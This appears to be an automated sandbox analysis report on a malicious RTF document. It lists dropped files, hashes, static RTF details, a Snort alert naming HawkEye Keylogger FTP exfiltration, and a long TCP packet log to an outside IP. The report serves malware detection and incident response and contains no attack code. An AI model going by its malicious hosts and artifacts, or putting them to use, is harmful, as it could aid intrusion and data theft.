                                                                                                            Category:dropped
                                                                                                            Size (bytes):39
                                                                                                            Entropy (8bit):4.2504143220263435
                                                                                                            Encrypted:false
                                                                                                            SSDEEP:3:oNXp4EaKC5wz:oNPaZ5wz
                                                                                                            MD5:777C0CF5ECC7BA8EB8F0A6BF949150EC
                                                                                                            SHA1:EC59E87D45CCBD2C2C21C0D5F0B7DB8385EF0B99
                                                                                                            SHA-256:64737ED1C1F1C0904BB91DD839BF45D5D5333A4265BA5C53122AF2CFCF0B2789
                                                                                                            SHA-512:3D6D96F09EB00E99C766BA62E5B88F1DA1795E27FB1B55620A0B783AB7EB736FBE4339E7F6FE6AC1FE316CCE89B2C3A358FEA21D63D66E8FBBDC74CFD3416616
                                                                                                            Malicious:false
                                                                                                            Preview:C:\Users\user\AppData\Roaming\name.exe

                                                                                                            C:\Users\user\Desktop\~$132022769992.doc

                                                                                                            Download File
                                                                                                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                                                            File Type:data
                                                                                                            Category:dropped
                                                                                                            Size (bytes):162
                                                                                                            Entropy (8bit):2.5038355507075254
                                                                                                            Encrypted:false
                                                                                                            SSDEEP:3:vrJlaCkWtVyEGlBsB2q/WWqlFGa1/ln:vdsCkWtYlqAHR9l
                                                                                                            MD5:45B1E2B14BE6C1EFC217DCE28709F72D
                                                                                                            SHA1:64E3E91D6557D176776A498CF0776BE3679F13C3
                                                                                                            SHA-256:508D8C67A6B3A7B24641F8DEEBFB484B12CFDAFD23956791176D6699C97978E6
                                                                                                            SHA-512:2EB6C22095EFBC366D213220CB22916B11B1234C18BBCD5457AB811BE0E3C74A2564F56C6835E00A0C245DF964ADE3697EFA4E730D66CC43C1C903975F6225C0
                                                                                                            Malicious:false
                                                                                                            Preview:.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

                                                                                                            Static File Info

                                                                                                            General

                                                                                                            File type:Rich Text Format data, unknown version
                                                                                                            Entropy (8bit):5.48970867570669
                                                                                                            TrID:
                                                                                                            • Rich Text Format (5005/1) 55.56%
                                                                                                            • Rich Text Format (4004/1) 44.44%
                                                                                                            File name:02132022769992.doc
                                                                                                            File size:51849
                                                                                                            MD5:def7f323a9c899eeff2daec6c685436d
                                                                                                            SHA1:19759534b1d50232576ece5e49e567bd158267d1
                                                                                                            SHA256:b80f646b11b61cb3d989da0858fec2bad99b5006f5d3f0e6a3a2bd86d8a8ac6f
                                                                                                            SHA512:972c88b62cf4f137e3baf37216cf8cd2a273c51a1772cd7143baca142b125e3a9cefc35e5a3ce0c1bb551dee548fd86971ffe702adec3ed40af3a90d220ac7ad
                                                                                                            SSDEEP:1536:KXgC3+CVqTcX7wVBAZR7r6/LhBsL18HH+VDD0y:EgC9LWBAehBg0y
                                                                                                            File Content Preview:{\rtf6804{\object83154431 83154431 \objlink31290350\objupdate4496281544962815\objw9747\objh3947{\*\objdata993071 {{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{\bin0000

                                                                                                            File Icon

                                                                                                            Icon Hash:e4eea2aaa4b4b4a4

                                                                                                            Static RTF Info

                                                                                                            Objects

                                                                                                            IdStartFormat IDFormatClassnameDatasizeFilenameSourcepathTemppathExploit
                                                                                                            00000010Dhno
                                                                                                            1000000B2hno

                                                                                                            Network Behavior

                                                                                                            Snort IDS Alerts

                                                                                                            TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                                                                                            02/14/22-08:12:28.013803ICMP402ICMP Destination Unreachable Port Unreachable192.168.2.228.8.8.8
                                                                                                            02/14/22-08:13:06.977054TCP2020410ET TROJAN HawkEye Keylogger FTP4917021192.168.2.2266.70.204.222

                                                                                                            Network Port Distribution

                                                                                                            TCP Packets

                                                                                                            TimestampSource PortDest PortSource IPDest IP
                                                                                                            Feb 14, 2022 08:12:27.050923109 CET4916580192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:27.283866882 CET8049165123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:27.283998013 CET4916580192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:27.524844885 CET8049165123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:27.525022984 CET4916580192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:27.772131920 CET8049165123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:27.776412010 CET8049165123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:27.776535034 CET4916580192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:27.776643038 CET4916580192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:27.776727915 CET8049165123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:27.776803017 CET4916580192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:28.023699045 CET8049165123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:28.197524071 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:28.197593927 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:28.197671890 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:28.207456112 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:28.207499027 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:28.952873945 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:28.953233004 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:28.971748114 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:28.971806049 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:28.972162962 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:28.972278118 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:29.261437893 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:29.301868916 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:29.509798050 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:29.509902000 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:29.748469114 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:29.748483896 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:29.748615026 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:29.748708963 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:29.748734951 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:29.748748064 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:29.748794079 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:29.748858929 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:29.749701977 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:29.749764919 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:29.749773979 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:29.749785900 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:29.749814034 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:29.749830008 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:29.749964952 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:29.990530968 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:29.990562916 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:29.990675926 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:29.990835905 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:29.990869045 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:29.990993977 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:29.991090059 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:29.992862940 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:29.992980003 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:29.993026972 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:29.993046045 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:29.993098021 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:29.993108988 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:29.993194103 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:29.994024992 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:29.994134903 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:29.994195938 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:29.994291067 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:29.994649887 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.232435942 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.232465982 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.232590914 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.232690096 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.232738972 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.232820034 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.232831001 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.233280897 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.233345032 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.233366013 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.233382940 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.233401060 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.233437061 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.233458996 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.233474970 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.233481884 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.233520985 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.233628988 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.235599995 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.235704899 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.235738993 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.235764027 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.235804081 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.235811949 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.235817909 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.235869884 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.237000942 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.237119913 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.237126112 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.237149000 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.237202883 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.237217903 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.237301111 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.472332001 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.472347975 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.472429991 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.472539902 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.472569942 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.472603083 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.472611904 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.472659111 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.479784966 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.479849100 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.479998112 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.480038881 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.480066061 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.480089903 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.482182026 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.482239962 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.482362032 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.482381105 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.482407093 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.482423067 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.482690096 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.482763052 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.482810020 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.482822895 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.482873917 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.483095884 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.483155966 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.483169079 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.483182907 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.483201027 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.483218908 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.483361006 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.483861923 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.483942032 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.484086990 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.484149933 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.486634016 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.486687899 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.486793041 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.486809015 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.486860037 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.486908913 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.492372036 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.492429972 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.492568016 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.492587090 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.492625952 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.492640972 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.709489107 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.709534883 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.709728956 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.709830999 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.709907055 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.715903997 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.716051102 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.716080904 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.716113091 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.716125965 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.716130018 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.716157913 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.717458963 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.717541933 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.717549086 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.717567921 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.717617989 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.718741894 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.718828917 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.718842030 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.718848944 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.718890905 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.718903065 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.720510960 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.720571041 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.720613003 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.720621109 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.720629930 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.720654964 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.721571922 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.721626997 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.721664906 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.721673012 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.721682072 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.721719027 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.722352028 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.722405910 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.722439051 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.722445011 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.722460032 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.722486019 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.723447084 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.723500967 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.723532915 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.723539114 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.723548889 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.723575115 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.723608017 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.724605083 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.724656105 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.724693060 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.724699020 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.724729061 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.724746943 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.724749088 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.725553036 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.725601912 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.725656033 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.725661993 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.725670099 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.725693941 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.728302002 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.728354931 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.728424072 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.728431940 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.728473902 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.728477955 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.729856014 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.729909897 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.729950905 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.729959011 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.729969978 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.729993105 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.730454922 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.730505943 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.730534077 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.730540991 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.730562925 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.730576992 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.731668949 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.731723070 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.731764078 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.731777906 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.731789112 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.731817961 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.732341051 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.732392073 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.732405901 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.732412100 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.732448101 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.732705116 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.733062029 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.733112097 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.733124018 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.733130932 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.733164072 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.733338118 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.952617884 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.952630997 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.952744007 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.952775002 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.952800989 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.952815056 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.952820063 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.952846050 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.952940941 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.953514099 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.953615904 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.953778982 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.953845024 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.954066992 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.958153963 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.958215952 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.958296061 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.958317041 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.958333015 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.958359003 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.958388090 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.959219933 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.959276915 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.959315062 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.959332943 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.959345102 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.959373951 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.960426092 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.960477114 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.960555077 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.960570097 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.960596085 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.960608006 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.961272001 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.961349010 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.961385012 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.961441040 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.961498976 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.961983919 CET44349166123.30.139.93192.168.2.22
